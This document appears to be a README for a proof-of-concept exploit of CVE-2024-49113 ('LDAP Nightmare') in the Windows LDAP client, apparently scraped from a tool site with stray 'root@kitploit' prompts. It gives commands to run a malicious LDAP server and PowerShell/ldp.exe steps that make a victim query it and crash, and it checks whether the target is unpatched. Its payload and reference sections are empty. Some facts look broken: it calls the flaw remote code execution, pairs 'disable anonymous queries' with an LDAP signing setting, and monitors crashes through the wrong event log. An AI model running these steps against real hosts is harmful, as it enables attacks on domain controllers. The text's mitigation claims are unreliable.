CVE-2024-49113 — LDAP Nightmare

Windows LDAP Client Remote Code Execution (Heap-Based Buffer Overflow)

1. Overview

CVE-2024-49113 is a critical heap-based buffer overflow vulnerability in the Windows LDAP client library (wldap32.dll). An unauthenticated, remote attacker can trigger the vulnerability by sending a specially crafted LDAP response to a victim Windows machine that issues an LDAP query (e.g., a domain controller performing directory lookups).

Because Windows domain controllers routinely send LDAP queries to other domain controllers, member servers, and global catalog servers, this flaw is especially dangerous in Active Directory environments. Successful exploitation achieves remote code execution in the context of the Local System account (on domain controllers), giving the attacker full control of the targeted server.

The public proof-of-concept (dubbed "LDAP Nightmare") was released by SafeBreach in January 2025 after Microsoft shipped fixes in the December 2024 Patch Tuesday.

2. Technical Details

Root Cause

The vulnerability resides in wldap32.dll — the Windows implementation of the Lightweight Directory Access Protocol (LDAP) client as defined in RFC 4511.

When an LDAP client receives a Search Result Entry response, the library parses the LDAP message's Protocol Data Units (PDUs) in a BER (Basic Encoding Rules) decoder loop. A flaw in the heap memory allocation logic during the parsing of LDAP attribute values causes the decoder to write data beyond the bounds of a heap-allocated buffer.

Specifically:

1. The BER decoder reads the length field of an LDAP attribute value.
2. A heap buffer is allocated based on this length.
3. During decoding (especially when handling constructed strings or multi-byte encodings), the decoder does not correctly track the offset into the buffer.
4. This leads to a controlled heap overflow of up to several kilobytes.

Trigger Conditions

• The victim must initiate an LDAP query (bind + search request).
• The attacker's malicious LDAP server sends a crafted Search Result Entry (LDAP_RES_SEARCH_ENTRY) response.
• The overflow occurs before any application-level validation of the response data.
• No authentication is required — the overflow can be triggered during an anonymous LDAP bind.

Impact

• Confidentiality: Complete compromise of all data on the system.
• Integrity: Full write capability; attacker can install programs, modify data, create accounts.
• Availability: Full control over the target; can deny service.
• Persistence: RCE as SYSTEM on domain controllers enables lateral movement across the entire domain.

3. Affected Versions

All supported editions of Windows Server and Windows Client are vulnerable prior to the December 10, 2024 security updates:

Windows Server (Domain Controllers — highest risk)

• Windows Server 2025, 2022, 2019, 2016, 2012 R2, 2012, 2008 R2 SP1

Windows Client (less likely to trigger, but still vulnerable)

• Windows 11 24H2 / 23H2 / 22H2 / 21H2
• Windows 10 22H2 / 21H2

The December 2024 Patch Tuesday updates that address this CVE are:

• KB5048685 — Windows Server 2025 / Windows 11 24H2
• KB5048652 — Windows Server 2022 / Windows 11 23H2
• KB5048661 — Windows 10 22H2
• And equivalent updates for other versions (see MSRC advisory).

4. Reproduction Steps

Architecture

┌──────────────────┐          LDAP Query           ┌─────────────────────┐
│   Victim Host    │ ──────────────────────────▶   │  Attacker LDAP      │
│  (Windows DC)    │                               │  Server (This PoC)  │
│                  │ ◀──────────────────────────   │                     │
│  wldap32.dll     │    Crafted LDAP Response      │  exploit.py         │
│  overflowed      │    (heap overflow payload)    │  port 389           │
└──────────────────┘                               └─────────────────────┘

Prerequisites

• A Windows domain controller (or Windows host configured to query LDAP) without December 2024 patches.
• Python 3.8+ on the attacker machine (can be Windows, Linux, or macOS).
• Network connectivity from the victim to the attacker on TCP port 389.
• For non-domain-joined victims, you may need to configure the host to point to the attacker as its LDAP server (e.g., via hosts file or DNS).

Step-by-Step

1. Verify the Target is Unpatched

On the victim, check the installed KBs:

Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }

If no results are returned, the system is unpatched and vulnerable.

2. Start the Malicious LDAP Server

On the attacker machine, run this PoC:

python exploit.py --listen-ip 192.168.1.100 --listen-port 389

Where 192.168.1.100 is the attacker's IP address.

Note: On Linux, binding to port 389 requires root (sudo). On Windows, admin privileges may be required.

3. Trigger an LDAP Query from the Victim

From the victim machine (PowerShell, as Administrator):

# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null

try {
    $results = $searcher.FindAll()
} catch {
    Write-Host "Connection attempted — check the PoC server for crash details"
}

Alternatively, use ldp.exe (included with Windows Server / RSAT):

1. Open ldp.exe
2. Connection → Connect → Enter attacker IP, port 389
3. Connection → Bind → (leave blank for anonymous)
4. View → Tree → Base DN: DC=evil,DC=local
5. Click Run

4. Observe the Overflow

• The PoC server will print [*] Sending malicious search result entry... and send the crafted response.
• If successful, the victim's lsass.exe or the LDAP client process will crash with an access violation (0xC0000005), or the system may BSOD.
• For actual RCE, the heap layout must be groomed and the overflow controlled — the PoC included here demonstrates the crash primitive (denial of service) as a starting point.

Docker-Based Reproduction (Alternative)

A Dockerfile is provided to run the PoC in an isolated environment:

docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare

5. Proof of Concept (exploit.py)

The included exploit.py implements:

• LDAP bind response — accepts anonymous or simple binds.
• Crafted Search Result Entry — delivers the heap overflow payload.
• Threaded connection handler — handles multiple victim connections.
• Configurable via command-line arguments (--listen-ip, --listen-port, --payload-size).

Payload Structure

Running Against a Lab Target

# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389

# In another terminal, watch for connections
tcpdump -i any port 389 -X

6. Mitigation

Patch

Install the December 10, 2024 Patch Tuesday updates:

• Windows Update: Check for updates and install the December 2024 cumulative update.
• WSUS / SCCM: Approve and deploy KB5048685 / KB5048652 / KB5048661 (version-dependent).
• Microsoft Catalog: Download standalone packages from Microsoft Update Catalog.

Workarounds (if patching is delayed)

If the patch cannot be applied immediately:

1. Network Segmentation — Block LDAP (TCP 389 / 636) traffic from untrusted networks to domain controllers.
2. Disable Anonymous LDAP Queries — On domain controllers, restrict anonymous access:
   root@kitploit:~

   Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
     -Name "LDAPServerIntegrity" -Value 2 -Type DWord
   Restart-Service NTDS
   

3. Monitor for LDAP Crashes — Enable auditing for LDAP client crashes:
   root@kitploit:~

   wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
   

7. References

8. Legal Disclaimer

This material is provided for educational and authorized security testing purposes only. Unauthorized exploitation of CVE-2024-49113 against systems without explicit permission is illegal. The authors are not responsible for any misuse of this information. Always obtain written authorization before testing any system.